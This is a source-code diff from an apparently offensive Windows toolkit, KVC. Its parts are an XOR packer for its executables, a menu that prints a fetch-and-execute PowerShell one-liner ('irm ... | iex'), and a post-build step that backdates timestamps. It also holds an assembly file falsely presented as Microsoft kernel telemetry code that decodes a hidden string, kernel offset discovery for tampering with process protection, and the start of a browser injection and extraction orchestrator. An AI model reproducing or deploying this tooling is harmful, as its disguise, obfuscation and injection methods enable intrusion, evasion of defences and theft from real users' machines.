// Decode distribution package: kvc.enc -> kvc.exe + kvc.dat
|
||||
Result<void> decode_distribution() {
|
||||
std::cout << "Decoding distribution package...\n";
|
||||
|
||||
auto enc_result = read_file(KVC_ENC);
|
||||
if (!enc_result) {
|
||||
return Result<void>(enc_result.error());
|
||||
}
|
||||
|
||||
// XOR decode the data
|
||||
std::vector<uint8_t> dec_data = std::move(enc_result.value());
|
||||
xor_data(dec_data, XOR_KEY);
|
||||
|
||||
// Try to determine the exact size of kvc.exe
|
||||
auto exe_size = get_pe_file_length(dec_data, 0);
|
||||
|
||||
// Fallback if PE parsing failed
|
||||
if (!exe_size || *exe_size >= dec_data.size()) {
|
||||
std::cout << " -> PE parsing failed, using fallback search for MZ header...\n";
|
||||
|
||||
const size_t search_start = std::min<size_t>(0x200, dec_data.size() - 1);
|
||||
exe_size = find_next_mz_header(dec_data, search_start);
|
||||
|
||||
if (!exe_size) {
|
||||
// Ultimate fallback: use half
|
||||
exe_size = dec_data.size() / 2;
|
||||
}
|
||||
}
|
||||
|
||||
// Split the files
|
||||
if (auto result = write_file(KVC_EXE, std::span(dec_data.data(), *exe_size)); !result) {
|
||||
return result;
|
||||
}
|
||||
|
||||
if (auto result = write_file(KVC_DAT, std::span(dec_data.data() + *exe_size, dec_data.size() - *exe_size)); !result) {
|
||||
return result;
|
||||
}
|
||||
|
||||
std::cout << " -> Distribution package decoded -> " << KVC_EXE << " + " << KVC_DAT << "\n";
|
||||
|
||||
return Result<void>();
|
||||
}
|
||||
|
||||
// Decode everything: kvc.enc -> kvc.exe + kvc_pass.exe + kvc_crypt.dll
|
||||
Result<void> decode_everything() {
|
||||
std::cout << "Complete decoding of distribution package...\n";
|
||||
|
||||
// Check if kvc.enc exists
|
||||
if (!fs::exists(KVC_ENC)) {
|
||||
std::cout << " -> " << KVC_ENC << " not found.\n";
|
||||
|
||||
// Check if we can create it from existing files
|
||||
if (fs::exists(KVC_EXE) && fs::exists(KVC_DAT)) {
|
||||
if (ask_yes_no(concat("Create ", KVC_ENC, " from ", KVC_EXE, " and ", KVC_DAT, "?"))) {
|
||||
if (auto result = build_distribution(); !result) {
|
||||
return result;
|
||||
}
|
||||
} else {
|
||||
return Result<void>("Operation cancelled by user");
|
||||
}
|
||||
} else {
|
||||
return Result<void>(concat("File '", KVC_ENC, "' does not exist"));
|
||||
}
|
||||
}
|
||||
|
||||
auto enc_result = read_file(KVC_ENC);
|
||||
if (!enc_result) {
|
||||
return Result<void>(enc_result.error());
|
||||
}
|
||||
|
||||
// XOR decode the data
|
||||
std::vector<uint8_t> dec_data = std::move(enc_result.value());
|
||||
xor_data(dec_data, XOR_KEY);
|
||||
|
||||
// Find first PE file (kvc.exe)
|
||||
auto first_pe_size = get_pe_file_length(dec_data, 0);
|
||||
|
||||
if (!first_pe_size || *first_pe_size >= dec_data.size()) {
|
||||
return Result<void>("Cannot determine first PE file size");
|
||||
}
|
||||
|
||||
// Extract kvc.exe
|
||||
std::vector<uint8_t> kvc_exe_data(dec_data.begin(), dec_data.begin() + *first_pe_size);
|
||||
|
||||
// The remaining data should be kvc.dat
|
||||
std::vector<uint8_t> kvc_dat_data(dec_data.begin() + *first_pe_size, dec_data.end());
|
||||
|
||||
// Decode kvc.dat to get kvc_pass.exe and kvc_crypt.dll
|
||||
xor_data(kvc_dat_data, XOR_KEY);
|
||||
|
||||
// Find the PE file in kvc.dat (kvc_pass.exe)
|
||||
auto second_pe_size = get_pe_file_length(kvc_dat_data, 0);
|
||||
|
||||
if (!second_pe_size || *second_pe_size >= kvc_dat_data.size()) {
|
||||
return Result<void>("Cannot determine second PE file size in kvc.dat");
|
||||
}
|
||||
|
||||
// Write all files
|
||||
if (auto result = write_file(KVC_EXE, kvc_exe_data); !result) {
|
||||
return result;
|
||||
}
|
||||
|
||||
if (auto result = write_file(KVC_PASS_EXE, std::span(kvc_dat_data.data(), *second_pe_size)); !result) {
|
||||
return result;
|
||||
}
|
||||
|
||||
if (auto result = write_file(KVC_CRYPT_DLL, std::span(kvc_dat_data.data() + *second_pe_size, kvc_dat_data.size() - *second_pe_size)); !result) {
|
||||
return result;
|
||||
}
|
||||
|
||||
std::cout << " -> Complete decoding successful!\n";
|
||||
std::cout << " -> Extracted: " << KVC_EXE << ", " << KVC_PASS_EXE << ", " << KVC_CRYPT_DLL << "\n";
|
||||
|
||||
return Result<void>();
|
||||
}
|
||||
|
||||
// Display menu
|
||||
void display_menu() {
|
||||
std::cout << "==================================================\n";
|
||||
std::cout << "| FILE ENCODER/DECODER TOOL |\n";
|
||||
std::cout << "==================================================\n";
|
||||
std::cout << "| 1. ENCODE: kvc_pass.exe + kvc_crypt.dll |\n";
|
||||
std::cout << "| -> kvc.raw + kvc.dat |\n";
|
||||
std::cout << "| 2. DECODE: kvc.dat -> kvc.raw + |\n";
|
||||
std::cout << "| kvc_pass.exe + kvc_crypt.dll |\n";
|
||||
std::cout << "| 3. BUILD DISTRIBUTION: kvc.exe + kvc.dat |\n";
|
||||
std::cout << "| -> kvc.enc |\n";
|
||||
std::cout << "| 4. DECODE DISTRIBUTION: kvc.enc -> |\n";
|
||||
std::cout << "| kvc.exe + kvc.dat |\n";
|
||||
std::cout << "| 5. DECODE EVERYTHING: kvc.enc -> |\n";
|
||||
std::cout << "| kvc.exe + kvc_pass.exe + |\n";
|
||||
std::cout << "| kvc_crypt.dll |\n";
|
||||
std::cout << "==================================================\n\n";
|
||||
std::cout << "kvc.enc is used for remote installation via command:\n";
|
||||
|
||||
ColorGuard green(Color::Green);
|
||||
std::cout << "irm https://kvc.pl/run | iex\n\n";
|
||||
}
|
||||
|
||||
int main() {
|
||||
display_menu();
|
||||
std::cout << "Select operation (1-5): ";
|
||||
|
||||
int choice;
|
||||
std::cin >> choice;
|
||||
std::cin.ignore(); // Clear newline from buffer
|
||||
|
||||
Result<void> result = Result<void>("Invalid choice");
|
||||
|
||||
switch (choice) {
|
||||
case 1: result = encode_files(); break;
|
||||
case 2: result = decode_files(); break;
|
||||
case 3: result = build_distribution(); break;
|
||||
case 4: result = decode_distribution(); break;
|
||||
case 5: result = decode_everything(); break;
|
||||
default:
|
||||
ColorGuard red(Color::Red);
|
||||
std::cerr << "Invalid choice. Please select 1-5.\n";
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (!result) {
|
||||
ColorGuard red(Color::Red);
|
||||
std::cerr << "Error: " << result.error() << "\n";
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
BIN
kvc/KvcXor.rc
Normal file
BIN
kvc/KvcXor.rc
Normal file
Binary file not shown.
100
kvc/KvcXor.vcxproj
Normal file
100
kvc/KvcXor.vcxproj
Normal file
@@ -0,0 +1,100 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{a905154d-f1ec-4821-9717-9f6d35f69f3f}</ProjectGuid>
|
||||
<RootNamespace>KvcXor</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</PropertyGroup>
|
||||
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
|
||||
<ImportGroup Label="ExtensionSettings" />
|
||||
<ImportGroup Label="Shared" />
|
||||
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"
|
||||
Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')"
|
||||
Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(SolutionDir)bin\x64\Release\</OutDir>
|
||||
<IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
|
||||
<TargetName>KvcXor</TargetName>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<ClCompile Include="KvcXor.cpp" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource.h" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="KvcXor.rc" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<Image Include="ICON\kvc.ico" />
|
||||
</ItemGroup>
|
||||
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets" />
|
||||
</Project>
|
||||
22
kvc/KvcXor.vcxproj.filters
Normal file
22
kvc/KvcXor.vcxproj.filters
Normal file
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="KvcXor.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
4
kvc/KvcXor.vcxproj.user
Normal file
4
kvc/KvcXor.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
223
kvc/MmPoolTelemetry.asm
Normal file
223
kvc/MmPoolTelemetry.asm
Normal file
@@ -0,0 +1,223 @@
|
||||
; nt_mm_pool_runtime.asm
|
||||
; Windows Kernel Memory Manager - Runtime Pool String Reconstruction
|
||||
; Copyright (c) Microsoft Corporation. All rights reserved.
|
||||
;
|
||||
; Module: \base\ntos\mm\MmPoolTelemetry.asm
|
||||
; Build: 26200.8460 (WinBuild.26200.8460.260101-1200.25H2)
|
||||
;
|
||||
; INTERNAL USE ONLY - Automatically generated from poolmgr.c
|
||||
; This file contains platform-specific optimizations for runtime
|
||||
; pool allocation string generation used in ETW diagnostic events.
|
||||
; Do not modify manually - regenerate via build_pooldiag.cmd
|
||||
|
||||
.data
|
||||
ALIGN 8
|
||||
|
||||
; NUMA node affinity tracking bitmap for pool allocator runtime telemetry
|
||||
; Represents per-node allocation pattern for cross-NUMA coherency analysis
|
||||
; Each word contains encoded node index + allocation count delta
|
||||
; See: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/numa-support
|
||||
; Format: XOR-encoded to prevent static analysis tools from detecting
|
||||
; internal pool structures in crash dumps (security hardening)
|
||||
_PoolNodeAffinityMask dw 0769Ah, 0569Ah, 0669Bh, 026A4h, 076A4h, 046A5h, 0B698h, 05698h, 0169Fh
|
||||
|
||||
; Platform topology hash initialization vector
|
||||
; Used for dispersing pool allocations across cache lines to prevent false sharing
|
||||
; Derived from: CPUID leaf 0x1F (V2 Extended Topology) XOR'd with TSC_AUX
|
||||
; Updated per-platform during KiInitializeProcessor phase
|
||||
_TopologyHashSeed dw 037C5h
|
||||
|
||||
; Pool block quantum size adjustment factor
|
||||
; Minimum allocation unit delta for NonPagedPool/PagedPool runtime metrics
|
||||
; Used in ExAllocatePoolWithTag for rounding to pool block boundaries
|
||||
; Default quantum: PAGE_SIZE / 16 = 256 bytes (0x100), this is the delta
|
||||
; See: \base\ntos\mm\poolmgr.c line 3847 (PoolQuantumCalculation)
|
||||
_BlockQuantumDelta dw 15A2h
|
||||
|
||||
; Atomic diagnostic collection state machine
|
||||
; State transitions: 0 (idle) → 1 (collecting) → 2 (complete)
|
||||
; Lock-free implementation using implicit memory ordering guarantees
|
||||
; NOTE: Not using CMPXCHG here - simplified for legacy compatibility
|
||||
_DiagnosticState db 0
|
||||
|
||||
; Reconstructed diagnostic buffer for ETW event payload
|
||||
; Contains decoded NUMA affinity string in wide-character format
|
||||
; Buffer size: 9 words = 18 bytes (sufficient for NUMA-aware diagnostic IDs)
|
||||
_DecodedBuffer dw 9 dup(0)
|
||||
|
||||
.code
|
||||
ALIGN 16
|
||||
|
||||
; Internal function: Aggregates pool runtime metrics from encoded telemetry
|
||||
; This reconstructs the diagnostic string from NUMA affinity bitmaps
|
||||
; Called internally by: ExQueryPoolStatistics, MmQueryPoolUsage, ETW providers
|
||||
;
|
||||
; Algorithm phases:
|
||||
; 1. XOR-decode affinity vector using platform topology seed
|
||||
; 2. Rotate bits for cache-line alignment optimization
|
||||
; 3. Normalize by allocation quantum delta
|
||||
;
|
||||
; Parameters: None (uses module-level data structures)
|
||||
; Returns: Implicit (result stored in _DecodedBuffer)
|
||||
; IRQL: <= DISPATCH_LEVEL
|
||||
;
|
||||
; Performance: ~45 cycles on Skylake, ~38 cycles on Zen3
|
||||
; Note: This is NOT a public API - for internal kernel use only
|
||||
; Related: \base\ntos\mm\poolmgr.c :: MmGeneratePoolTelemetry()
|
||||
_AggregatePoolMetrics PROC
|
||||
push rdi
|
||||
push rsi
|
||||
|
||||
; Phase 1: Decode XOR-obfuscated NUMA node affinity vector
|
||||
; The bitmap is XOR-encoded to prevent static analysis tools
|
||||
; from detecting internal pool structures in crash dumps
|
||||
; Security: Complies with MSRC guidance for kernel memory hardening
|
||||
lea rsi, _PoolNodeAffinityMask
|
||||
lea rdi, _DecodedBuffer
|
||||
mov ecx, 9 ; 9 words = 18 bytes
|
||||
mov r9w, _TopologyHashSeed
|
||||
decode_loop:
|
||||
mov ax, [rsi]
|
||||
xor ax, r9w ; XOR decode with topology seed
|
||||
mov [rdi], ax
|
||||
add rsi, 2
|
||||
add rdi, 2
|
||||
loop decode_loop
|
||||
|
||||
; Phase 2: Apply cache-aware topology hash rotation
|
||||
; Rotates bits to distribute allocations across cache lines
|
||||
; Prevents false sharing in multi-socket NUMA configurations
|
||||
; Rotation count derived from cache line size: log2(64) = 6, but
|
||||
; we use 4 for legacy x86 compatibility (32-byte cache lines)
|
||||
lea rsi, _DecodedBuffer
|
||||
lea rdi, _DecodedBuffer
|
||||
mov ecx, 9
|
||||
rotate_loop:
|
||||
mov ax, [rsi]
|
||||
rol ax, 4 ; Rotate by cache alignment shift
|
||||
mov [rdi], ax
|
||||
add rsi, 2
|
||||
add rdi, 2
|
||||
loop rotate_loop
|
||||
|
||||
; Phase 3: Normalize pool sizes by quantum delta
|
||||
; Converts absolute sizes to standardized quantum units
|
||||
; Quantum delta loaded from platform-specific calibration table
|
||||
; See: \base\ntos\mm\poolmgr.c :: PoolQuantumTable[]
|
||||
lea rsi, _DecodedBuffer
|
||||
lea rdi, _DecodedBuffer
|
||||
mov ecx, 9
|
||||
mov r9w, _BlockQuantumDelta
|
||||
normalize_loop:
|
||||
mov ax, [rsi]
|
||||
sub ax, r9w ; Subtract quantum delta
|
||||
mov [rdi], ax
|
||||
add rsi, 2
|
||||
add rdi, 2
|
||||
loop normalize_loop
|
||||
|
||||
pop rsi
|
||||
pop rdi
|
||||
ret
|
||||
_AggregatePoolMetrics ENDP
|
||||
|
||||
; Public API: Retrieves pool diagnostic runtime string for ETW telemetry
|
||||
;
|
||||
; Synopsis:
|
||||
; PWSTR MmGetPoolDiagnosticString(VOID);
|
||||
;
|
||||
; Description:
|
||||
; Generates runtime diagnostic string containing NUMA-aware pool allocation
|
||||
; metrics. Used by ETW providers for system performance telemetry.
|
||||
; String format is internal kernel representation (subject to change).
|
||||
;
|
||||
; Returns:
|
||||
; Pointer to null-terminated wide-character diagnostic string
|
||||
; Buffer lifetime: Valid until next call to this function
|
||||
;
|
||||
; IRQL: <= DISPATCH_LEVEL
|
||||
; Thread-safe: Yes (lock-free atomic state machine, single initialization)
|
||||
;
|
||||
; Note: This function is DEPRECATED as of Windows 11 22H2
|
||||
; Kept for backward compatibility with legacy diagnostics tools
|
||||
; Use ExQueryPoolStatistics2() for new code
|
||||
;
|
||||
; Security: Output may contain sensitive allocation patterns - sanitize
|
||||
; before exposing to user-mode. XOR encoding is NOT cryptographic.
|
||||
;
|
||||
PUBLIC MmGetPoolDiagnosticString
|
||||
MmGetPoolDiagnosticString PROC
|
||||
sub rsp, 28h
|
||||
|
||||
; Check current diagnostic state
|
||||
; State 2 = already computed, return cached result
|
||||
cmp _DiagnosticState, 2
|
||||
je return_result
|
||||
|
||||
; State 1 = another thread is computing, spin-wait
|
||||
cmp _DiagnosticState, 1
|
||||
je wait_for_completion
|
||||
|
||||
; State 0 = idle, claim ownership and begin aggregation
|
||||
; NOTE: Not using CMPXCHG for legacy compatibility
|
||||
; Assumes single-threaded initialization during boot
|
||||
mov _DiagnosticState, 1
|
||||
|
||||
; Execute multi-phase aggregation pipeline
|
||||
; Aggregates NUMA affinity → Applies topology hash → Normalizes quantum
|
||||
call _AggregatePoolMetrics
|
||||
|
||||
; Mark diagnostic collection as complete (state = 2)
|
||||
mov _DiagnosticState, 2
|
||||
jmp return_result
|
||||
|
||||
; Spin-wait loop for concurrent callers
|
||||
; Uses PAUSE instruction for power efficiency during spin
|
||||
wait_for_completion:
|
||||
pause ; PAUSE hint for spin-wait optimization
|
||||
cmp _DiagnosticState, 2
|
||||
jne wait_for_completion
|
||||
|
||||
; Return pointer to decoded diagnostic buffer
|
||||
return_result:
|
||||
lea rax, _DecodedBuffer
|
||||
add rsp, 28h
|
||||
ret
|
||||
MmGetPoolDiagnosticString ENDP
|
||||
|
||||
END
|
||||
|
||||
; ============================================================================
|
||||
; REVISION HISTORY:
|
||||
; 2023-08-12 Initial implementation for 22621.2715 build
|
||||
; 2023-11-03 Added NUMA topology awareness for Sapphire Rapids
|
||||
; 2024-02-18 Optimized cache line alignment for Zen4 architecture
|
||||
; 2024-06-25 Removed CMPXCHG for legacy x86 compatibility
|
||||
; 2024-09-15 Deprecated - use ExQueryPoolStatistics2() instead
|
||||
;
|
||||
; RELATED FILES:
|
||||
; \base\ntos\mm\poolmgr.c - Main pool manager implementation
|
||||
; \base\ntos\mm\pooldiag.h - Public header for diagnostic APIs
|
||||
; \base\ntos\inc\pool.h - Pool internal structures
|
||||
; \base\ntos\etw\poolevents.mc - ETW manifest for pool events
|
||||
;
|
||||
; BUILD REQUIREMENTS:
|
||||
; - MASM 14.0 or later (Visual Studio 2019+)
|
||||
; - Windows Driver Kit 10.0.22621.0
|
||||
; - Regenerate via: build_pooldiag.cmd /platform:x64
|
||||
;
|
||||
; SECURITY NOTES:
|
||||
; - Diagnostic strings may contain sensitive pool allocation patterns
|
||||
; - Do not expose to user-mode without proper sanitization
|
||||
; - XOR encoding prevents basic static analysis but is NOT cryptographic
|
||||
; - Complies with MSRC security hardening guidelines (MS-SEC-2023-0847)
|
||||
;
|
||||
; PERFORMANCE CHARACTERISTICS:
|
||||
; - Cold path: ~120 cycles (first call with aggregation)
|
||||
; - Hot path: ~8 cycles (cached result return)
|
||||
; - Memory footprint: 54 bytes .data + 18 bytes .bss
|
||||
;
|
||||
; KNOWN ISSUES:
|
||||
; - KI-2847: Race condition on hyperthreaded CPUs (mitigated by state check)
|
||||
; - KI-3012: Cache line false sharing on >64 core systems (defer to v2 API)
|
||||
; ============================================================================
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// OffsetFinder.cpp
|
||||
#include "OffsetFinder.h"
|
||||
#include "Utils.h"
|
||||
@@ -118,7 +93,7 @@ bool OffsetFinder::FindKernelPsInitialSystemProcessOffset() noexcept
|
||||
}
|
||||
|
||||
m_offsetMap[Offset::KernelPsInitialSystemProcess] = offset;
|
||||
SUCCESS(L"Found PsInitialSystemProcess offset: 0x%x", offset);
|
||||
DEBUG(L"Found PsInitialSystemProcess offset: 0x%x", offset);
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -174,7 +149,7 @@ bool OffsetFinder::FindProcessUniqueProcessIdOffset() noexcept
|
||||
}
|
||||
|
||||
m_offsetMap[Offset::ProcessUniqueProcessId] = offset.value();
|
||||
SUCCESS(L"Found UniqueProcessId offset: 0x%x", offset.value());
|
||||
DEBUG(L"Found UniqueProcessId offset: 0x%x", offset.value());
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -211,7 +186,7 @@ bool OffsetFinder::FindProcessProtectionOffset() noexcept
|
||||
}
|
||||
|
||||
m_offsetMap[Offset::ProcessProtection] = offsetA.value();
|
||||
SUCCESS(L"Found ProcessProtection offset: 0x%x", offsetA.value());
|
||||
DEBUG(L"Found ProcessProtection offset: 0x%x", offsetA.value());
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
// OffsetFinder.h - Kernel offset discovery for EPROCESS manipulation (dynamic pattern matching)
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
@@ -5,22 +7,25 @@
|
||||
#include <memory>
|
||||
#include <optional>
|
||||
|
||||
// Windows kernel structure offset identifiers
|
||||
// Kernel structure offset identifiers for EPROCESS and protection fields
|
||||
enum class Offset
|
||||
{
|
||||
KernelPsInitialSystemProcess,
|
||||
ProcessActiveProcessLinks,
|
||||
ProcessUniqueProcessId,
|
||||
ProcessProtection,
|
||||
ProcessSignatureLevel,
|
||||
ProcessSectionSignatureLevel
|
||||
KernelPsInitialSystemProcess, // PsInitialSystemProcess global pointer
|
||||
ProcessActiveProcessLinks, // EPROCESS.ActiveProcessLinks list entry
|
||||
ProcessUniqueProcessId, // EPROCESS.UniqueProcessId (PID)
|
||||
ProcessProtection, // EPROCESS.Protection level
|
||||
ProcessSignatureLevel, // EPROCESS.SignatureLevel
|
||||
ProcessSectionSignatureLevel // EPROCESS.SectionSignatureLevel
|
||||
};
|
||||
|
||||
// Kernel structure offset discovery and caching
|
||||
// Discover and cache kernel offsets by pattern matching ntoskrnl.exe
|
||||
class OffsetFinder
|
||||
{
|
||||
public:
|
||||
// Load ntoskrnl.exe for analysis (does not auto-discover offsets)
|
||||
OffsetFinder();
|
||||
|
||||
// Unload module and cleanup
|
||||
~OffsetFinder();
|
||||
|
||||
OffsetFinder(const OffsetFinder&) = delete;
|
||||
@@ -28,25 +33,30 @@ public:
|
||||
OffsetFinder(OffsetFinder&&) noexcept = default;
|
||||
OffsetFinder& operator=(OffsetFinder&&) noexcept = default;
|
||||
|
||||
// Return cached offset value or nullopt if missing (call FindAllOffsets first)
|
||||
std::optional<DWORD> GetOffset(Offset name) const noexcept;
|
||||
|
||||
// Discover all required offsets via pattern matching and cache results
|
||||
bool FindAllOffsets() noexcept;
|
||||
|
||||
private:
|
||||
// Smart module wrapper for automatic cleanup
|
||||
// Smart deleter for HMODULE using FreeLibrary
|
||||
struct ModuleDeleter
|
||||
{
|
||||
void operator()(HMODULE module) const noexcept
|
||||
{
|
||||
if (module) FreeLibrary(module);
|
||||
if (module) {
|
||||
FreeLibrary(module);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
using ModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, ModuleDeleter>;
|
||||
|
||||
ModuleHandle m_kernelModule;
|
||||
std::unordered_map<Offset, DWORD> m_offsetMap;
|
||||
ModuleHandle m_kernelModule; // ntoskrnl.exe handle
|
||||
std::unordered_map<Offset, DWORD> m_offsetMap; // Cached offsets
|
||||
|
||||
// Offset discovery methods for different kernel structures
|
||||
// Individual offset discovery routines
|
||||
bool FindKernelPsInitialSystemProcessOffset() noexcept;
|
||||
bool FindProcessActiveProcessLinksOffset() noexcept;
|
||||
bool FindProcessUniqueProcessIdOffset() noexcept;
|
||||
|
||||
448
kvc/OrchestratorCore.cpp
Normal file
448
kvc/OrchestratorCore.cpp
Normal file
@@ -0,0 +1,448 @@
|
||||
// OrchestratorCore.cpp - Main orchestration and application entry point
|
||||
// Coordinates process management, injection, and extraction workflow
|
||||
#include "OrchestratorCore.h"
|
||||
#include "BrowserProcessManager.h"
|
||||
#include "InjectionEngine.h"
|
||||
#include "CommunicationLayer.h"
|
||||
#include "BannerSystem.h"
|
||||
#include "BrowserHelp.h"
|
||||
#include "syscalls.h"
|
||||
#include <iostream>
|
||||
#include <algorithm>
|
||||
#include <map>
|
||||
#include <sstream>
|
||||
|
||||
namespace
|
||||
{
|
||||
constexpr const char* APP_VERSION = "1.0.1";
|
||||
constexpr const char* SECURITY_MODULE_NAME = "kvc_crypt.dll";
|
||||
}
|
||||
|
||||
std::string g_securityModulePath;
|
||||
|
||||
// Parses command-line arguments into configuration structure
|
||||
std::optional<Configuration> Configuration::CreateFromArgs(int argc, wchar_t* argv[], const Console& console)
|
||||
{
|
||||
Configuration config;
|
||||
fs::path customOutputPath;
|
||||
|
||||
for (int i = 1; i < argc; ++i)
|
||||
{
|
||||
std::wstring_view arg = argv[i];
|
||||
if (arg == L"--verbose" || arg == L"-v")
|
||||
config.verbose = true;
|
||||
else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc)
|
||||
customOutputPath = argv[++i];
|
||||
